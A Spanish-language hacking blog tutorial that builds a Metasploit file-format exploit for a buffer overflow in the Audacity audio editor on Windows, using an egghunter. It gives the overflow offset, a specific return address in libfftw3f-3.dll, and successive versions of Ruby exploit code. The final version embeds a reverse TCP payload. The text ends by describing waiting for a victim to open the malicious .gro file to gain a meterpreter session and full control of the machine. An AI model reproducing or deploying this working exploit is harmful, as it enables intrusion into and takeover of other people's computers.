Software Development && UnEthical Hacking
inicio hacking WiFu WiBOG MDB

Using the Egghunter Mixin
En este artículo se describe y se muestra la utilidad de los egghunters al explotar una vulnerabilidad de Buffer Overflow en el editor de audio Audacity para Windows.

Para tener más claros algunos conceptos es necesario mencionar que un egghunter no es más que una aplicación que permite buscar en memoria una cadena de texto llamada “EGG”, la cual una vez identificada ejecutara un shellcode.
Esto de gran utilidad al momento de tener espacios limitados en la memoria reservada para los procesos que están bajo ataque, debido a que no es necesario cargar todo nuestro shellcode en dicho segmento de memoria si no solo el egghunter (alrededor de 32 bytes) el cual encontrara el shellcode para nosotros.

El flujo de ejecución sería algo similar a esto:

1. El buffer malicioso sobrescribe el espacio de memoria del proceso atacado ubicando el egghunter.
2. Una vez el registro EIP está apuntando a dicho segmento de memoria se ejecutara el hunter.
3. El hunter buscara nuestro shellcode en toda la memoria (es un proceso cíclico y como tal consume recursos de maquina).
4. EL EIP es de nuevo sobrescrito con la dirección de memoria del shellcode encontrado y este es ejecutado.


Offset + egghunter + egg + shellcode

Una vez entendido esto continuamos con la explotación de la aplicación como tal, por lo tanto usamos un exploit que nos permite crear un archivo .gro (el cual va a ser cargado por el editor de audio Audacity) con el correspondiente buffer malicioso.

Cabe mencionar que en este exploit se usan funciones propias del framework de Metasploit, por ejemplo Rex::Text.pattern_create(2000), la cual nos permite crear una cadena o buffer con patrones específicos y de longitud 2000 bytes. Estos patrones nos ayudan a ubicarnos en la memoria (con ayuda a su vez de un debugger).

Definición de la primera versión del exploit:

def exploit
   buff = Rex::Text.pattern_create(2000)
   print_status("Creating '#{datastore['FILENAME']}' file ...")
   file_create(buff)
end

En el código anterior se hace uso de la función pattern_create para crear el buffer de 2000 bytes el cual será enviado a un archivo por medio de la función flie_create(buff). A continuación abrimos la aplicación:


Y la adherirmos al debugger, en este caso usamos el debugger de Immunity.






Acto seguido importamos el archivo .gro recién creado a través del menú de Audacity:

Proyecto -> Importar MIDI…

y notamos como se genera un acceso indebido a la memoria.



Al continuar con el flujo de ejecución notamos y encontramos que el registro EIP es sobrescrito con la cadena de texto 67413966 la cual se encuentra en la posición de memoria 0012FBE8.

Al ubicarnos en dicha posición de memoria podemos ver nuestro buffer, y como se puede apreciar en la imagen el buffer de 2000 bytes es cortado abruptamente en la dirección 0012FC30 por lo tanto tenemos alrededor de 80 bytes (el área seleccionada en la parte izquierda) para ubicar nuestro shellcode.



El paso a seguir es ubicar dentro de las DLL’s “no protegidas” de la aplicación (Audacity) una dirección de retorno que nos permita ejecutar el shellcode. Esto lo podemos realizar mediante las funciones propias del debugger eneste caso la función safeseh.



Y dentro de estas ubicamos la DLL libfftw3f-3.dll



Analizamos en interior de esta DLL mediante la herramienta msfpescan en busca de una instrucción del estilo POP, POP, RET, esta instrucción nos permite redireccionar el flujo de ejecución a nuestro buffer.



Seguido a esto calculamos (en el patrón que creamos anteriormente) la distancia que existe entre el inicio y la cadena con la cual sobrescribimos el registro EIP (imagen 5) es decir: 67413966.



Como se aprecia en la imagen la distancia es de 178 bytes, es decir que después de este valor los bytes enviados sobrescribirán el registro EIP, por lo tanto podemos modificar el exploit para sobrescribir el registro con la dirección de retorno que acabamos de encontrar.

[ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ]

Y así mismo definimos el cuerpo del exploit.

def exploit
   buff = "\x41" * 174
   buff << "\xeb\x06\x41\x41"
   buff << [target.ret].pack('V')
   buff << "\xCC" * 2000
   print_status("Creating '#{datastore['FILENAME']}' file ...")
   file_create(buff)
end


En el código anterior definimos:

1. Un buffer relleno de caracteres “A” o en su valor hexadecimal x41, de 174 bytes de longitud.
2. Un \xeb\ el cual es un “short jump” para saltar a nuestra dirección de retorno.
3. Insertamos la dirección de retorno.
4. Y después completamos el contenido del buffer con una cadena de 2000 bytes rellena con los valores \xCC. (Este sería el espacio para el shellcode).
5. Se crea de nuevo el archivo.


Nuevamente cargamos la aplicación Audacity, la adherimos al Debugger e importamos el archivo .gro recién creado, en este caso el registro EIP es sobrescrito con la dirección de retorno 637410A9 que está ubicada dentro de la DLL libfftw3f-3.dll.



Al llegar a la instrucción “short jump” el flujo de ejecución es re direccionado a nuestra dirección de retorno y por lo tanto a nuestro shellcode (que para este ejemplo es el buffer repleto de xCC).



Como en la prueba anterior solo se tiene un espacio de 80 bytes para ubicar el shellcode, por lo tanto en esta sección es cuando hacemos uso del egghunter.

Ubicamos el egghunter en esta sección de memoria para buscar y encontrar el shellcode (el cual tiene un tamaño superior a 80 bytes).

Por lo tanto modificamos nuevamente el código del exploit para crear el egghunter por medio de la función Msf::Exploit::Remote::Egghunter y finalmente cargar el Payload:

def exploit
   hunter = generate_egghunter
   egg = hunter[1]
   buff = "\x41" * 174
   buff << "\xeb\x06\x41\x41"
   buff << [target.ret].pack('V')
   buff << "\x90"*4
   buff << hunter[0]
   buff << "\xCC" * 200
   buff << egg + egg
   buff << payload.encoded
   print_status("Creating '#{datastore['FILENAME']}' file ...")
   file_create(buff)
end

1. Se crea el egghunter y se almacena en arreglo hunter.
2. Se crea el EGG seleccionando el primer valor del arreglo.
3. Creamos el buffer con los 174 bytes necesarios para sobrescribir el EIP.
4. Usamos el “short jump”.
5. Ubicamos nuestra dirección de retorno.
6. Adherimos NOPs.
7. Insertamos el egghunter en el buffer para ubicarlo en el espacio de memoria disponible (80 bytes).
8. Separamos los EGGs por medio de valores xCC de 200 bytes de longitud.
9. Ubicamos los EGGs en el buffer.
10. Cargamos cualquier shellcode, para este ejemplo es el Payload encargado de crear una conexión TCP reversa.
11. Se crea el archivo FINAL.

Cargamos el exploit en el framework de Metasploit.



Y finalmente esperamos a que la victima abra el archivo .gro malicio para obtener una sesión meterpreter y así obtener el control total de la maquina.

Inicio       ||       Comunidad       ||      Servicios       ||      Proyectos       ||      Hacking       ||      Contáctenos